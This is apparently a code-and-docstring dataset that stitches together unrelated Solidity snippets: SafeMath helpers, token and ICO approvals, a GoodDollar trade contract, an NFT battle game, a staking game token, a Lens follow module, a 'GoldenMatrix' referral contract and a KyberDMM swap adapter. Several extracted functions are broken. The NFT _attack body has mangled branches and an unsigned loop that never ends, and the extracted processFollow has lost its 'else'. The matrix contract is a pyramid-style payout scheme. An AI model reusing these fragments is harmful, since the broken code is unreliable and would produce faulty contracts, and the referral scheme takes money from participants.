* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
|
Because claims cycle through all periods that a specific reward was giventhere becomes a situation where, for example, a new user could lock2 years from now and try to claim a token that was given out every week prior.This would result in a 2mil gas checkpoint.(about 20k gas 52 weeks 2 years)allow a user to set their claimed index forward without claiming rewardsset claim checkpoint. next claim starts from index
|
function setClaimIndex(address _token, uint256 _index) public {
require(_index > 0 && _index < rewardEpochs[_token].length, "!past");
require(_index >= userClaims[_token][msg.sender], "already claimed");
userClaims[_token][msg.sender] = _index;
emit ForcedClaimIndex(msg.sender, _token, _index);
}
event RewardPaid(address indexed _user, address indexed _rewardsToken, uint256 _reward);
event ForcedClaimIndex(address indexed _user, address indexed _rewardsToken, uint256 _index);
| 10,161,160
|
./full_match/1/0x1C2A65Db6a6502AF34493C823a13C43b288D9fff/sources/browser/adaICO.sol
|
safeApprove should only be called when setting an initial allowance, or when resetting it to zero. To increase and decrease it, use 'safeIncreaseAllowance' and 'safeDecreaseAllowance' solhint-disable-next-line max-line-length
|
function safeApprove(Cardano token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
| 9,821,443
|
pragma solidity >=0.6.0;
import "@openzeppelin/upgrades-core/contracts/Initializable.sol";
import "../Interfaces.sol";
contract TradeGD is Initializable {
Uniswap public uniswap;
cERC20 public GD;
cERC20 public DAI;
cERC20 public cDAI;
Reserve public reserve;
event GDTraded(string protocol,string action, address from, uint256 ethValue, uint256[] uniswap, uint256 gd);
/**
* @dev initialize the upgradable contract
* @param _gd address of the GoodDollar token
* @param _dai address of the DAI token
* @param _cdai address of the cDAI token
* @param _reserve address of the GoodDollar reserve
*/
function initialize(address _gd, address _dai, address _cdai, address _reserve) initializer public {
uniswap = Uniswap(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
GD = cERC20(_gd);
DAI = cERC20(_dai);
cDAI = cERC20(_cdai);
reserve = Reserve(_reserve);
GD.approve(address(uniswap), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
DAI.approve(address(cDAI),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
cDAI.approve(address(reserve),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
}
/**
* @dev buy GD from reserve using ETH since reserve is in cDAI
* we first buy DAI from uniswap -> mint cDAI -> buy GD
* @param minDAIAmount - the min amount of DAI to receive for buying with ETH
* @param minGDAmount - the min amount of GD to receive for buying with cDAI(via DAI)
*/
function buyGDFromReserve(uint256 minDAIAmount,uint256 minGDAmount) external payable returns(uint256) {
uint256 gd = _buyGDFromReserve(minDAIAmount, minGDAmount);
GD.transfer(msg.sender,gd);
return gd;
}
function _buyGDFromReserve(uint256 minDAIAmount,uint256 minGDAmount) internal returns(uint256) {
require(msg.value>0,"You must send some ETH");
address[] memory path = new address[](2);
path[1] = address(DAI);
path[0] = uniswap.WETH();
uint256[] memory swap = uniswap.swapExactETHForTokens{value:msg.value}(minDAIAmount, path, address(this), now);
uint256 dai = swap[1];
require(dai > 0, "DAI buying failed");
uint256 cdaiRes = cDAI.mint(dai);
require(cdaiRes == 0, "cDAI buying failed");
uint256 cdai = cDAI.balanceOf(address(this));
uint256 gd = reserve.buy(address(cDAI),cdai,minGDAmount);
// uint256 gd = GD.balanceOf(address(this));
require(gd>0, "gd buying failed");
emit GDTraded("reserve","buy", msg.sender, msg.value, swap, gd);
return gd;
}
/**
* @dev buy GD from uniswap pool using ETH since pool is in DAI
* we first buy DAI from uniswap -> buy GD
* @param minGDAmount - the min amount of GD to receive for buying with DAI(via ETH)
*/
function buyGDFromUniswap(uint256 minGDAmount) external payable returns(uint256) {
require(msg.value>0,"You must send some ETH");
address[] memory path = new address[](3);
path[2] = address(GD);
path[1] = address(DAI);
path[0] = uniswap.WETH();
uint256[] memory swap = uniswap.swapExactETHForTokens{value: msg.value}(minGDAmount, path, address(msg.sender), now);
uint256 gd = swap[2];
require(gd>0, "gd buying failed");
emit GDTraded("uniswap","buy", msg.sender, msg.value, swap, gd);
return gd;
}
/**
* @dev buy GD from reserve using ETH and sell to uniswap pool resulting in DAI
* @param minDAIAmount - the min amount of dai to receive for selling G$
* @param minGDAmount - the min amount of GD to receive for buying with cDAI(via ETH)
*/
function sellGDFromReserveToUniswap(uint256 minDAIAmount, uint256 minGDAmount) external payable returns(uint256) {
uint256 gd = _buyGDFromReserve(minDAIAmount, minGDAmount);
address[] memory path = new address[](2);
path[0] = address(GD);
path[1] = address(DAI);
uint256[] memory swap = uniswap.swapExactTokensForTokens(gd, minDAIAmount, path, address(msg.sender), now );
uint256 dai = swap[1];
require(dai>0, "gd selling failed");
emit GDTraded("uniswap","sell", msg.sender, msg.value, swap, gd);
return dai;
}
}
|
initialize the upgradable contract _gd address of the GoodDollar token _dai address of the DAI token _cdai address of the cDAI token _reserve address of the GoodDollar reserve/
|
function initialize(address _gd, address _dai, address _cdai, address _reserve) initializer public {
uniswap = Uniswap(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
GD = cERC20(_gd);
DAI = cERC20(_dai);
cDAI = cERC20(_cdai);
reserve = Reserve(_reserve);
GD.approve(address(uniswap), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
DAI.approve(address(cDAI),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
cDAI.approve(address(reserve),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
}
| 1,820,276
|
./full_match/80001/0x7a5c3ad22fB385A86D011ed6CDf5731F48D4b77c/sources/contracts/NFTAttack3.sol
|
Check if the victim has an active defense power-up Attacked by an attack power-up, defense power-up withstands one attack Burn the defense and attack power-ups Regular attack, defense power-up withstands two attacks Defense power-up has exhausted its uses, burn the highest level weapon of the victim Defense power-up successfully defended the attack once, reduce the remaining uses Generate a random number between 0 and 1 Claim an attack power-up Claim a defense power-up
|
function _attack(address attacker, address victim) internal {
require(
balanceOf[attacker][2] > 0,
"You need an Iron Sword to attack!"
);
require(victim != address(0), "Invalid victim address");
if (balanceOf[victim][DEFENSE_ID] > 0) {
uint256 remainingUses = defenses[victim];
if (balanceOf[attacker][POWER_UP_ID] > 0) {
emit Smashed(attacker, victim, 0);
emit Defended(attacker, victim);
_burn(victim, DEFENSE_ID, 1);
_burn(attacker, POWER_UP_ID, 1);
uint256 highestLevelWeapon = 2;
if (remainingUses == 1) {
_burn(attacker, highestLevelWeapon, 1);
_burn(victim, DEFENSE_ID, 1);
_mint(victim, 3, 1, "");
emit Defended(attacker, victim);
defenses[victim]--;
_burn(attacker, highestLevelWeapon, 1);
_mint(victim, 3, 1, "");
emit Defended(attacker, victim);
}
}
for (uint256 i = 2; i >= 0; i--) {
if (balanceOf[victim][i] > 0) {
highestLevelWeapon = i;
break;
}
}
_burn(victim, highestLevelWeapon, 1);
_mint(attacker, 3, 1, "");
emit Smashed(attacker, victim, highestLevelWeapon + 1);
if (numNFTs % 5 == 0) {
uint256 randomNumber = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.difficulty,
attacker
)
)
) % 2;
if (randomNumber == 0) {
_mint(attacker, POWER_UP_ID, 1, "");
_mint(attacker, DEFENSE_ID, 1, "");
}
}
}
}
| 5,556,041
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
// ███████╗███╗ ██╗███████╗ █████╗ ██╗ ██╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███╗ ██╗███████╗
// ██╔════╝████╗ ██║██╔════╝██╔══██╗██║ ██╔╝╚██╗ ██╔╝ ██╔════╝ ██╔═══██╗██╔══██╗██║ ██║████╗ ██║██╔════╝
// ███████╗██╔██╗ ██║█████╗ ███████║█████╔╝ ╚████╔╝ ██║ ███╗██║ ██║██████╔╝██║ ██║██╔██╗ ██║███████╗
// ╚════██║██║╚██╗██║██╔══╝ ██╔══██║██╔═██╗ ╚██╔╝ ██║ ██║██║ ██║██╔══██╗██║ ██║██║╚██╗██║╚════██║
// ███████║██║ ╚████║███████╗██║ ██║██║ ██╗ ██║ ╚██████╔╝╚██████╔╝██████╔╝███████╗██║██║ ╚████║███████║
// ╚══════╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝ ╚═══╝╚══════╝
// Imports
import "./Ownable.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./ReentrancyGuard.sol";
/**
* @notice Interface for checking active staked balance of a user.
*/
interface IStaking {
function getTotalRewards(address staker) external view returns (uint256);
}
/**
* @title The ERC20 smart contract.
*/
contract Token is ERC20, ReentrancyGuard, Ownable {
IStaking public stakingContract;
uint256 public MAX_SUPPLY;
uint256 public constant MAX_TAX_PERCENT = 100;
uint256 public spendTaxPercent;
uint256 public withdrawTaxPercent;
uint256 public taxClaimedAmount;
uint256 public activeTaxCollectedAmount;
bool public isPaused;
bool public isDepositPaused;
bool public isWithdrawPaused;
bool public isTransferPaused;
address[] public authorisedLog;
mapping(address => uint256) public depositedAmount;
mapping(address => uint256) public spentAmount;
mapping(address => bool) private _isAuthorised;
modifier onlyAuthorised() {
require(_isAuthorised[_msgSender()], "Not Authorised");
_;
}
modifier whenNotPaused() {
require(!isPaused, "Token game is paused");
_;
}
event Withdraw(address indexed userAddress, uint256 amount, uint256 tax);
event Deposit(address indexed userAddress, uint256 amount);
event DepositFor(address indexed caller, address indexed userAddress, uint256 amount);
event Spend(address indexed caller, address indexed userAddress, uint256 amount, uint256 tax);
event ClaimTax(address indexed caller, address indexed userAddress, uint256 amount);
event InternalTransfer(address indexed from, address indexed to, uint256 amount);
/**
* @notice The smart contract constructor that initializes the contract.
* @param stakingContract_ The address of the NFT staking smart contract.
* @param tokenName The name of the token.
* @param tokenSymbol The symbol of the token.
*/
constructor(
address stakingContract_,
string memory tokenName,
string memory tokenSymbol
) ERC20(tokenName, tokenSymbol) {
_isAuthorised[_msgSender()] = true;
withdrawTaxPercent = 25;
spendTaxPercent = 25;
stakingContract = IStaking(stakingContract_);
}
/**
* @notice Returns current spendable balance of a specific user. This balance can be spent by user for other collections without
* withdrawal to ERC-20 SneakGoblins OR can be withdrawn to ERC-20 SneakGoblins.
* @param user The user to get the balance of.
* @return The user balance.
*/
function getUserBalance(address user) public view returns (uint256) {
return (stakingContract.getTotalRewards(user) + depositedAmount[user] - spentAmount[user]);
}
/**
* @notice Deposit ERC-20 to the game balance.
* @param amount The amount of funds to deposit.
*/
function depositToken(uint256 amount) public nonReentrant whenNotPaused {
require(!isDepositPaused, "Deposit Paused");
require(balanceOf(_msgSender()) >= amount, "Insufficient balance");
_burn(_msgSender(), amount);
depositedAmount[_msgSender()] += amount;
emit Deposit(_msgSender(), amount);
}
/**
* @notice Withdraws in-game balance to ERC-20.
* @param amount The amount of funds to withdraw.
*/
function withdrawToken(uint256 amount) public nonReentrant whenNotPaused {
require(!isWithdrawPaused, "Withdraw Paused");
require(getUserBalance(_msgSender()) >= amount, "Insufficient balance");
uint256 tax = (amount * withdrawTaxPercent) / 100;
spentAmount[_msgSender()] += amount;
activeTaxCollectedAmount += tax;
_mint(_msgSender(), (amount - tax));
emit Withdraw(_msgSender(), amount, tax);
}
/**
* @notice Transfer in-game funds from one account to another.
* @param to The receiver address.
* @param amount The amount of in-game funds to transfer.
*/
function transferInGameBalance(address to, uint256 amount) public nonReentrant whenNotPaused {
require(!isTransferPaused, "Transfer Paused");
require(getUserBalance(_msgSender()) >= amount, "Insufficient balance");
spentAmount[_msgSender()] += amount;
depositedAmount[to] += amount;
emit InternalTransfer(_msgSender(), to, amount);
}
/**
* @notice Spends in-game funds of users in batch. Is used with internal purchases of other NFTs, etc.
* @param user The array of user addresses.
* @param amount The array of amount of funds to spend.
*/
function spendInGameBalanceInBatch(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant {
require(user.length == amount.length, "Wrong arrays passed");
for (uint256 i; i < user.length; i++) {
_spendInGameBalance(user[i], amount[i]);
}
}
/**
* @notice Spends in-game funds of a user. Is used with internal purchases of other NFTs, etc.
* @param user The address of the user.
* @param amount The amount of funds to spend.
*/
function spendInGameBalance(address user, uint256 amount) public onlyAuthorised nonReentrant {
_spendInGameBalance(user, amount);
}
/**
* @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc.
*/
function _spendInGameBalance(address user, uint256 amount) internal {
require(getUserBalance(user) >= amount, "Insufficient balance");
uint256 tax = (amount * spendTaxPercent) / 100;
spentAmount[user] += amount;
activeTaxCollectedAmount += tax;
emit Spend(_msgSender(), user, amount, tax);
}
/**
* @notice Deposits funds to user's in-game balance.
* @param user The address of the user.
* @param amount The amount of funds to deposit.
*/
function depositInGameBalance(address user, uint256 amount) public onlyAuthorised nonReentrant {
_depositInGameBalance(user, amount);
}
/**
* @notice Distributes funds to users.
* @param user The array of user addresses.
* @param amount The array of amount of funds to distribute.
*/
function distributeInGameBalance(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant {
require(user.length == amount.length, "Wrong arrays passed");
for (uint256 i; i < user.length; i++) {
_depositInGameBalance(user[i], amount[i]);
}
}
/**
* @notice Mints tokens.
* @param user The minter address.
* @param amount The amount of tokens to mint.
*/
function mint(address user, uint256 amount) external onlyAuthorised nonReentrant {
_mint(user, amount);
}
/**
* @notice Claims tokens from the tax accumulated pot.
* @param user The address of the tax funds receiver.
* @param amount The amount of funds to transfer.
*/
function claimTax(address user, uint256 amount) public onlyAuthorised nonReentrant {
require(activeTaxCollectedAmount >= amount, "Insufficient tax balance");
activeTaxCollectedAmount -= amount;
depositedAmount[user] += amount;
taxClaimedAmount += amount;
emit ClaimTax(_msgSender(), user, amount);
}
/**
* @notice Deposits in-game funds to the user's balance.
* @param user The address of the user.
* @param amount The amount of funds to deposit.
*/
function _depositInGameBalance(address user, uint256 amount) internal {
require(user != address(0), "Cannot send to 0 address");
depositedAmount[user] += amount;
emit DepositFor(_msgSender(), user, amount);
}
/*
ADMIN FUNCTIONS
*/
/**
* @notice Authorises addresses.
* @param addressToAuth The address to authorise.
*/
function authorise(address addressToAuth) public onlyOwner {
_isAuthorised[addressToAuth] = true;
authorisedLog.push(addressToAuth);
}
/**
* @notice Unauthorises addresses.
* @param addressToUnAuth The address to unauthorise.
*/
function unauthorise(address addressToUnAuth) public onlyOwner {
_isAuthorised[addressToUnAuth] = false;
}
/**
* @notice Sets the staking contract.
* @param stakingContract_ The address of the staking contract.
*/
function setStakingContract(address stakingContract_) public onlyOwner {
stakingContract = IStaking(stakingContract_);
authorise(stakingContract_);
}
/**
* @notice Sets the withdrawal tax percent.
* @param taxPercent The tax percentage.
*/
function setWithdrawTaxPercent(uint256 taxPercent) public onlyOwner {
require(taxPercent < MAX_TAX_PERCENT, "Wrong value passed");
withdrawTaxPercent = taxPercent;
}
/**
* @notice Sets the spending tax percent.
* @param taxPercent The tax percentage.
*/
function setSpendTaxPercent(uint256 taxPercent) public onlyOwner {
require(taxPercent < MAX_TAX_PERCENT, "Wrong value passed");
spendTaxPercent = taxPercent;
}
/**
* @notice Pauses fund transactions.
* @param _pause The state of the pause.
*/
function setPauseGameToken(bool _pause) public onlyOwner {
isPaused = _pause;
}
/**
* @notice Pauses fund transfers.
* @param _pause The state of the pause.
*/
function setPauseTransfers(bool _pause) public onlyOwner {
isTransferPaused = _pause;
}
/**
* @notice Pauses fund withdrawals.
* @param _pause The state of the pause.
*/
function setPauseWithdraw(bool _pause) public onlyOwner {
isWithdrawPaused = _pause;
}
/**
* @notice Pauses fund deposits.
* @param _pause The state of the pause.
*/
function setPauseDeposits(bool _pause) public onlyOwner {
isDepositPaused = _pause;
}
/**
* @notice Burns the tokens.
* @notice The amount of tokens to burn.
*/
function burn(uint256 amount) external onlyOwner {
_burn(_msgSender(), amount);
}
/**
* @notice Withdraws ETH accidentally dropped to the contract.
*/
function rescue() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
}
|
Interface for checking active staked balance of a user./
|
interface IStaking {
function getTotalRewards(address staker) external view returns (uint256);
pragma solidity 0.8.13;
import "./Ownable.sol";
}
| 13,958,108
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import {IFollowModule} from '../../../interfaces/IFollowModule.sol';
import {Errors} from '../../../libraries/Errors.sol';
import {ModuleBase} from '../ModuleBase.sol';
import {FollowValidatorFollowModuleBase} from './FollowValidatorFollowModuleBase.sol';
import {IERC721} from '@openzeppelin/contracts/token/ERC721/IERC721.sol';
/**
* @title ProfileFollowModule
* @author Lens Protocol
*
* @notice A Lens Profile NFT token-gated follow module with single follow per token validation.
*/
contract ProfileFollowModule is FollowValidatorFollowModuleBase {
/**
* Given two profile IDs tells if the former has already been used to follow the latter.
*/
mapping(uint256 => mapping(uint256 => bool)) public isProfileFollowing;
constructor(address hub) ModuleBase(hub) {}
/**
* @notice This follow module works on custom profile owner approvals.
*
* @param profileId The profile ID of the profile to initialize this module for.
* @param data The arbitrary data parameter, which in this particular module initialization will be just ignored.
*
* @return bytes Empty bytes.
*/
function initializeFollowModule(uint256 profileId, bytes calldata data)
external
override
onlyHub
returns (bytes memory)
{
return new bytes(0);
}
/**
* @dev Processes a follow by:
* 1. Validating that the follower owns the profile passed through the data param.
* 2. Validating that the profile that is being used to execute the follow was not already used for following the
* given profile.
*/
function processFollow(
address follower,
uint256 profileId,
bytes calldata data
) external override onlyHub {
uint256 followerProfileId = abi.decode(data, (uint256));
if (IERC721(HUB).ownerOf(followerProfileId) != follower) {
revert Errors.NotProfileOwner();
}
if (isProfileFollowing[followerProfileId][profileId]) {
revert Errors.FollowInvalid();
} else {
isProfileFollowing[followerProfileId][profileId] = true;
}
}
/**
* @dev We don't need to execute any additional logic on transfers in this follow module.
*/
function followModuleTransferHook(
uint256 profileId,
address from,
address to,
uint256 followNFTTokenId
) external override {}
}
|
Processes a follow by: 1. Validating that the follower owns the profile passed through the data param. 2. Validating that the profile that is being used to execute the follow was not already used for following the given profile./
|
function processFollow(
address follower,
uint256 profileId,
bytes calldata data
) external override onlyHub {
uint256 followerProfileId = abi.decode(data, (uint256));
if (IERC721(HUB).ownerOf(followerProfileId) != follower) {
revert Errors.NotProfileOwner();
}
if (isProfileFollowing[followerProfileId][profileId]) {
revert Errors.FollowInvalid();
isProfileFollowing[followerProfileId][profileId] = true;
}
}
| 12,742,752
|
/**
*Submitted for verification at Etherscan.io on 2020-08-11
*/
pragma solidity 0.6.12;
contract AbsGoldenMatrix1{
struct Level {
uint256 price;
uint256 profit;
}
struct User {
uint256 id;
address inviter;
uint256 level;
uint256 profit;
uint256 hold;
mapping(uint256 => address) uplines;
mapping(uint256 => address[]) referrals;
}
address public owner;
bool public sync_close;
address payable public root;
uint256 public last_id;
Level[] public levels;
mapping(address => User) public users;
mapping(uint256 => address) public users_ids;
event Register(address indexed addr, address indexed inviter, uint256 id);
event LevelUp(address indexed addr, address indexed upline, uint256 level);
event Profit(address indexed addr, address indexed referral, uint256 value);
event Hold(address indexed addr, address indexed referral, uint256 value);
constructor() public {
owner = msg.sender;
levels.push(Level(0.05 ether, 0.05 ether));
levels.push(Level(0.05 ether, 0.05 ether));
levels.push(Level(0.15 ether, 0.15 ether));
levels.push(Level(0.15 ether, 0.15 ether));
levels.push(Level(0.45 ether, 0.45 ether));
levels.push(Level(0.45 ether, 0.45 ether));
levels.push(Level(1.35 ether, 1.35 ether));
levels.push(Level(1.35 ether, 1.35 ether));
levels.push(Level(4.05 ether, 4.05 ether));
levels.push(Level(4.05 ether, 4.05 ether));
levels.push(Level(12.15 ether, 12.15 ether));
levels.push(Level(12.15 ether, 12.15 ether));
levels.push(Level(36.45 ether, 36.45 ether));
levels.push(Level(36.45 ether, 145.75 ether));
root = 0xcC16f3dcE95cC295741c2f638c22a43C23a8e009;
_newUser(root, address(0), address(0));
}
receive() payable external {
_register(msg.sender, root, msg.value);
}
fallback() payable external {
_register(msg.sender, _bytesToAddress(msg.data), msg.value);
}
function _send(address _addr, uint256 _value) private {
if(!sync_close) return;
if(_addr == address(0) || !payable(_addr).send(_value)) {
root.transfer(_value);
}
}
function _newUser(address _addr, address _inviter, address _upline) private {
users[_addr].id = ++last_id;
users[_addr].inviter = _inviter;
users_ids[last_id] = _addr;
emit Register(_addr, _inviter, last_id);
_levelUp(_addr, _upline, 0);
}
function _levelUp(address _addr, address _upline, uint256 _level) private {
if(_upline != address(0)) {
users[_addr].uplines[_level] = _upline;
users[_upline].referrals[_level].push(_addr);
}
emit LevelUp(_addr, _upline, _level);
}
function _transferFunds(address _user, address _from, uint256 _amount) private {
if(users[_user].profit < levels[users[_user].level % levels.length].profit) {
users[_user].profit += _amount;
_send(_user, _amount);
emit Profit(_user, _from, _amount);
}
else {
users[_user].hold += _amount;
emit Hold(_user, _from, _amount);
uint256 next_level = users[_user].level + 1;
if(users[_user].hold >= levels[next_level % levels.length].price) {
users[_user].profit = 0;
users[_user].hold = 0;
users[_user].level = next_level;
if(_user != root) {
address upline = this.findFreeReferrer(
this.findUplineOffset(
this.findUplineHasLevel(
users[_user].uplines[0],
next_level
),
next_level,
uint8(next_level % 2)
),
next_level
);
_levelUp(_user, upline, next_level);
}
else _levelUp(_user, address(0), next_level);
}
_transferFunds(users[_user].uplines[users[_user].level], _from, _amount);
}
}
function _register(address _user, address _inviter, uint256 _value) private {
require(users[_user].id == 0, "User arleady register");
require(users[_inviter].id != 0, "Upline not register");
require(_value == levels[0].price, "Bad amount");
address upline = this.findFreeReferrer(_inviter, 0);
_newUser(_user, _inviter, upline);
_transferFunds(upline, _user, _value);
}
function register(uint256 _upline_id) payable public { //inject PUBLIC FUNC TO EXTERNAL
_register(msg.sender, users_ids[_upline_id], msg.value);
}
function findUplineHasLevel(address _user, uint256 _level) public view returns(address) { //inject PUBLIC FUNC TO EXTERNAL
if(_user == root || users[_user].level >= _level) return _user;
return this.findUplineHasLevel(users[_user].uplines[0], _level);
}
function findUplineOffset(address _user, uint256 _level, uint8 _offset) public view returns(address) { //inject PUBLIC FUNC TO EXTERNAL
if(_user == root || _offset == 0) return _user;
return this.findUplineOffset(users[_user].uplines[_level], _level, _offset - 1);
}
function findFreeReferrer(address _user, uint256 _level) public view returns(address) { //inject PUBLIC FUNC TO EXTERNAL
if(users[_user].referrals[_level].length < 2) return _user;
address[] memory refs = new address[](1024);
refs[0] = users[_user].referrals[_level][0];
refs[1] = users[_user].referrals[_level][1];
for(uint16 i = 0; i < 1024; i++) {
if(users[refs[i]].referrals[_level].length < 2) {
return refs[i];
}
if(i < 511) {
uint16 n = (i + 1) * 2;
refs[n] = users[refs[i]].referrals[_level][0];
refs[n + 1] = users[refs[i]].referrals[_level][1];
}
}
revert("No free referrer");
}
function _bytesToAddress(bytes memory _data) private pure returns(address addr) {
assembly {
addr := mload(add(_data, 20))
}
}
/*
Only sync functions
*/
function sync(address[] calldata _users, address[] calldata _inviters) external {
require(msg.sender == owner, "Only owner");
require(!sync_close, "Sync already close");
for(uint256 i = 0; i < _users.length; i++) {
_register(_users[i], _inviters[i], 0.05 ether);
}
}
function syncClose() public { //inject PUBLIC FUNC TO EXTERNAL
require(msg.sender == owner, "Only owner");
require(!sync_close, "Sync already close");
sync_close = true;
}
}
|
inject PUBLIC FUNC TO EXTERNAL
|
function findUplineHasLevel(address _user, uint256 _level) public view returns(address) {
| 15,822,842
|
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "./BaseSwap.sol";
import "../interfaces/IDMMRouter.sol";
import "../libraries/BytesLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
/// General swap for uniswap and its clones
contract KyberDmm is BaseSwap {
using SafeMath for uint256;
using Address for address;
using BytesLib for bytes;
IDMMRouter public dmmRouter;
event UpdatedDmmRouter(IDMMRouter router);
constructor(address _admin, IDMMRouter router) BaseSwap(_admin) {
dmmRouter = router;
}
function updateDmmRouter(IDMMRouter router) external onlyAdmin {
dmmRouter = router;
emit UpdatedDmmRouter(dmmRouter);
}
function getExpectedReturn(GetExpectedReturnParams calldata params)
external
view
override
onlyProxyContract
returns (uint256 destAmount)
{
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
IERC20[] memory tradePathErc = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
tradePathErc[i] = IERC20(params.tradePath[i]);
}
uint256[] memory amounts = dmmRouter.getAmountsOut(params.srcAmount, pools, tradePathErc);
destAmount = amounts[params.tradePath.length - 1];
}
function getExpectedIn(GetExpectedInParams calldata params)
external
view
override
onlyProxyContract
returns (uint256 srcAmount)
{
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
IERC20[] memory tradePathErc = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
tradePathErc[i] = IERC20(params.tradePath[i]);
}
uint256[] memory amounts = dmmRouter.getAmountsIn(params.destAmount, pools, tradePathErc);
srcAmount = amounts[0];
}
/// @dev swap token via a supported UniSwap router
/// @notice for some tokens that are paying fee, for example: DGX
/// contract will trade with received src token amount (after minus fee)
/// for UniSwap, fee will be taken in src token
function swap(SwapParams calldata params)
external
payable
override
onlyProxyContract
returns (uint256 destAmount)
{
require(params.tradePath.length >= 2, "invalid tradePath");
address[] memory pools = parseExtraArgs(params.tradePath.length - 1, params.extraArgs);
safeApproveAllowance(address(dmmRouter), IERC20Ext(params.tradePath[0]));
uint256 tradeLen = params.tradePath.length;
IERC20Ext actualSrc = IERC20Ext(params.tradePath[0]);
IERC20Ext actualDest = IERC20Ext(params.tradePath[tradeLen - 1]);
// convert eth/bnb -> weth/wbnb address to trade on Uni
IERC20[] memory convertedTradePath = new IERC20[](params.tradePath.length);
for (uint256 i = 0; i < params.tradePath.length; i++) {
convertedTradePath[i] = params.tradePath[i] == address(ETH_TOKEN_ADDRESS)
? dmmRouter.weth()
: IERC20(params.tradePath[i]);
}
uint256 destBalanceBefore = getBalance(actualDest, params.recipient);
if (actualSrc == ETH_TOKEN_ADDRESS) {
// swap eth/bnb -> token
dmmRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: params.srcAmount}(
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
} else {
if (actualDest == ETH_TOKEN_ADDRESS) {
// swap token -> eth/bnb
dmmRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
params.srcAmount,
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
} else {
// swap token -> token
dmmRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
params.srcAmount,
params.minDestAmount,
pools,
convertedTradePath,
params.recipient,
MAX_AMOUNT
);
}
}
destAmount = getBalance(actualDest, params.recipient).sub(destBalanceBefore);
}
/// @param extraArgs expecting <[20B] address pool1><[20B] address pool2><[20B] address pool3>...
function parseExtraArgs(uint256 poolLength, bytes calldata extraArgs)
internal
pure
returns (address[] memory pools)
{
pools = new address[](poolLength);
for (uint256 i = 0; i < poolLength; i++) {
pools[i] = extraArgs.toAddress(i * 20);
}
}
}
